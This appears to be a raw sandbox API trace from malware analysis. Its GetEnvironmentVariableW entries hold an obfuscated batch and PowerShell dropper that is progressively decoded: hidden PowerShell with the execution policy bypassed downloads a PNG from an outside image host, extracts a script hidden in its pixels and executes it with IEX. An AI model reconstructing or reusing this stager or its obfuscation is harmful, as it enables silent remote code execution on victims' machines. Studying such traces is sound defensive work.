Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTzEhOy::zEh'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodZn'+'g'+'Oy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTzEhA]Oy#H).ReplaCE11{CTzEhA]Oy98+{CTzEhA]Oy8#+{CTzEhA]OyDn06),{sTRInaEOy{CTzEhA]OyDn2H).ReplaCE11{CTzEhA]OyDnDn8+{CTzEhA]Oy5H+{CTzEhA]Oy8Dn),{sTRInaEOy{CTzEhA]Oy#6))^&^& seT  aDI/`aKEcTzEhO 1gZ f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyO4ERsheZVElL  -noqf6NZqf6NTE]aCTI  -qf6NolO -4Zqf6N TzEhIdden -e7ecuTIOqf6NpOLIc 3k9`tyAjhjh  -nOty]OzEhIle  -COmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@ZnpuT )  ^&^&  cmd.e7E   cgc %adZ/Y%") returned 0x53a
	[0057.138] GetEnvironmentVariableW (in: lpName="\\,", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheZVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'OpenRead19a'+'7'+'TFttps:cgcgZmag'+'es2.Zmg3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fo]eacTF1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodZn'+'g'+'Oy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT  aDI/`aKEcTFO 1gZ f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyO4ERsheZVElL  -noqf6NZqf6NTE]aCTI  -qf6NolO -4Zqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyAjhjh  -nOty]OFIle  -COmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@ZnpuT )  ^&^&  cmd.e7E   cgc %adZ/Y%") returned 0x518
	[0057.144] GetEnvironmentVariableW (in: lpName="`[+", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'ing9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qf6Net.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps:cgcgimag'+'es2.img3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'jh'+'hei%\\fo]eacTF1'+'f6'+'6'+'pBBk7 in10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyi7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::AjhCII.'+'aEetjh'+'t]ing1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT  aDI/`aKEcTFO 1gi f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRityT11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyO4ERsheiVElL  -noqf6Niqf6NTE]aCTI  -qf6NolO -4iqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyAjhjh  -nOty]OFIle  -COmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT )  ^&^&  cmd.e7E   cgc %adi/Y%") returned 0x518
	[0057.150] GetEnvironmentVariableW (in: lpName=".*#", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'ing9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qf6Net.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps:cgcgimag'+'es2.img3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'jh'+'hei%\\fo]eacTF1'+'f6'+'6'+'pBBk7 in10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyi7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::AjhCII.'+'aEetjh'+'t]ing1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT  aDIz`aKEcTFO 1gi f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRityT11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyO4ERsheiVElL  -noqf6Niqf6NTE]aCTI  -qf6NolO -4iqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyAjhjh  -nOty]OFIle  -COmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT )  ^&^&  cmd.e7E   cgc %adizY%") returned 0x518
	[0057.157] GetEnvironmentVariableW (in: lpName="@;?#", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'ing9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qf6Net.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps://imag'+'es2.img3k9o'+'7.co'+'m/90/fDn/'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'jh'+'hei%\\fo]eacTF1'+'f6'+'6'+'pBBk7 in10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyi7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::AjhCII.'+'aEetjh'+'t]ing1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT  aDIz`aKEcTFO 1gi f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRityT11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyO4ERsheiVElL  -noqf6Niqf6NTE]aCTI  -qf6NolO -4iqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyAjhjh  -nOty]OFIle  -COmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT )  ^&^&  cmd.e7E   /c %adizY%") returned 0x512
	[0057.161] GetEnvironmentVariableW (in: lpName=",@$[", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7S`stem.D]a'+'4'+'ing9a7['+'f66pBBkds'+'aKf] S`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qf6Net.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps://imag'+'es2.img3k9o'+'7.co'+'m/90/fDn/'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\fo]eacTF1'+'f6'+'6'+'pBBk7 in10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyi7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::ASCII.'+'aEetS'+'t]ing1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT  aDIz`aKEcTFO 1gi f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComBkanD.Iqf6NVOkesCRityT11LS eqf6NV:s3L]V).f6aL3e  )  ^^^|tyO4ERsheiVElL  -noqf6Niqf6NTE]aCTI  -qf6NolO -4iqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyASS  -nOty]OFIle  -COmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT )  ^&^&  cmd.e7E   /c %adizY%") returned 0x509
	[0057.166] GetEnvironmentVariableW (in: lpName="{$_", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7S`stem.D]a'+'4'+'ing9a7['+'f66pBMds'+'aKf] S`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qf6Net.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps://imag'+'es2.img3k9o'+'7.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9a7'+'))['+'f66pBM'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\fo]eacTF1'+'f6'+'6'+'pBM7 in10..H'+'2('+'))\\f66pBM'+'t'+'taKf66pBMds.aEe'+'ttyi7el1f66pBM7,'+'f6'+'6pBM_'+')[f66pBMmk'+'{f66pBM'+'_*H28+f66pBM7OyaK1{matTFOy::F'+'lo'+'o]11f66'+'pBMtt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBMt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::ASCII.'+'aEetS'+'t]ing1f66'+'pBM'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT  aDIz`aKEcTFO 1gi f6aRIA3k9le:e*Xt).VaLuE.Inf6OkEComManD.Iqf6NVOkesCRityT11LS eqf6NV:s3L]V).f6aL3e  )  ^^^|tyO4ERsheiVElL  -noqf6Niqf6NTE]aCTI  -qf6NolO -4iqf6N TFIdden -e7ecuTIOqf6NpOLIc 3k9`tyASS  -nOty]OFIle  -COmMAqf6Nd     ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT )  ^&^&  cmd.e7E   /c %adizY%") returned 0x4f9
	[0057.172] GetEnvironmentVariableW (in: lpName="'`#", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]vaK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9a7S`stem.D]a'+'4'+'ing9a7['+'v6pBMds'+'aKf] S`ste'+'m.'+'D]a4in'+'g.B'+'itmap11f] qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps://imag'+'es2.img3k9o'+'7.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9a7'+'))['+'v6pBM'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\fo]eacTF1'+'v'+'6'+'pBM7 in10..H'+'2('+'))\\v6pBM'+'t'+'taKv6pBMds.aEe'+'ttyi7el1v6pBM7,'+'v'+'6pBM_'+')[v6pBMmk'+'{v6pBM'+'_*H28+v6pBM7OyaK1{matTFOy::F'+'lo'+'o]11v6'+'pBMtt.B-3k9andDn5)*Dn6)-3k9o]'+'1v6pBMt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::ASCII.'+'aEetS'+'t]ing1v6'+'pBM'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFA]Oy#H).ReplaCE11{CTFA]Oy98+{CTFA]Oy8#+{CTFA]OyDn06),{sTRInaEOy{CTFA]OyDn2H).ReplaCE11{CTFA]OyDnDn8+{CTFA]Oy5H+{CTFA]Oy8Dn),{sTRInaEOy{CTFA]Oy#6))^&^& seT  aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3L]V).vaL3e  )  ^^^|tyO4ERsheiVElL  -noqvNiqvNTE]aCTI  -qvNolO -4iqvN TFIdden -e7ecuTIOqvNpOLIc 3k9`tyASS  -nOty]OFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT )  ^&^&  cmd.e7E   /c %adizY%") returned 0x4dc
	[0057.213] GetEnvironmentVariableW (in: lpName="}\\?", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrvaK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9a7S`stem.Dra'+'4'+'ing9a7['+'v6pBMds'+'aKfr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'7'+'TFttps://imag'+'es2.img3k9o'+'7.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9a7'+'))['+'v6pBM'+'mkaKfr B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'pBM7 in10..H'+'2('+'))\\v6pBM'+'t'+'taKv6pBMds.aEe'+'ttyi7el1v6pBM7,'+'v'+'6pBM_'+')[v6pBMmk'+'{v6pBM'+'_*H28+v6pBM7OyaK1{matTFOy::F'+'lo'+'or11v6'+'pBMtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6pBMt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Te7'+'t.E'+'ncodin'+'g'+'Oy::ASCII.'+'aEetS'+'tring1v6'+'pBM'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9a7',{sTRInaEOy{CTFArOy#H).ReplaCE11{CTFArOy98+{CTFArOy8#+{CTFArOyDn06),{sTRInaEOy{CTFArOyDn2H).ReplaCE11{CTFArOyDnDn8+{CTFArOy5H+{CTFArOy8Dn),{sTRInaEOy{CTFArOy#6))^&^& seT  aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e  )  ^^^|tyO4ERsheiVElL  -noqvNiqvNTEraCTI  -qvNolO -4iqvN TFIdden -e7ecuTIOqvNpOLIc 3k9`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT )  ^&^&  cmd.e7E   /c %adizY%") returned 0x4dc
	[0057.219] GetEnvironmentVariableW (in: lpName="{;", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrvaK. 1 @sheiVelLId{DnOy+@sTFELlId{Dn#Oy+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6pBMds'+'aKfr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6pBM'+'mkaKfr B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'pBMx in10..H'+'2('+'))\\v6pBM'+'t'+'taKv6pBMds.aEe'+'ttyixel1v6pBMx,'+'v'+'6pBM_'+')[v6pBMmk'+'{v6pBM'+'_*H28+v6pBMxOyaK1{matTFOy::F'+'lo'+'or11v6'+'pBMtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6pBMt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+'Oy::ASCII.'+'aEetS'+'tring1v6'+'pBM'+'mk{0.'+'.'+'Dn'+'90('+'Oy)'+')').ReplaCE1'9ax',{sTRInaEOy{CTFArOy#H).ReplaCE11{CTFArOy98+{CTFArOy8#+{CTFArOyDn06),{sTRInaEOy{CTFArOyDn2H).ReplaCE11{CTFArOyDnDn8+{CTFArOy5H+{CTFArOy8Dn),{sTRInaEOy{CTFArOy#6))^&^& seT  aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e  )  ^^^|tyO4ERsheiVElL  -noqvNiqvNTEraCTI  -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25Oy-JoIn'')1@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x4dc
	[0057.224] GetEnvironmentVariableW (in: lpName="`}$@", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrvaK. 1 @sheiVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6pBMds'+'aKfr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6pBM'+'mkaKfr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'pBMx in10..H'+'2('+'))\\v6pBM'+'t'+'taKv6pBMds.aEe'+'ttyixel1v6pBMx,'+'v'+'6pBM_'+')[v6pBMmk'+'{v6pBM'+'_*H28+v6pBMx]aK1{matTF]::F'+'lo'+'or11v6'+'pBMtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6pBMt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'pBM'+'mk{0.'+'.'+'Dn'+'90('+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT  aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e  )  ^^^|tyO4ERsheiVElL  -noqvNiqvNTEraCTI  -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x4c8
	[0057.234] GetEnvironmentVariableW (in: lpName="?$_", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrvaK. 1 @sheiVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6Qds'+'aKfr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mkaKfr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'2('+'))\\v6Q'+'t'+'taKv6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]aK1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6Qt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'90('+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT  aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e  )  ^^^|tyO4ERsheiVElL  -noqvNiqvNTEraCTI  -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x4ae
	[0057.237] GetEnvironmentVariableW (in: lpName=";.+", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrvaK. 1 @sheiVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6Qds'+'aKfr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mkaKfr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'27'+'))\\v6Q'+'t'+'taKv6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]aK1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6Qt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT  aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e  )  ^^^|tyO4ERsheiVElL  -noqvNiqvNTEraCTI  -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x4ae
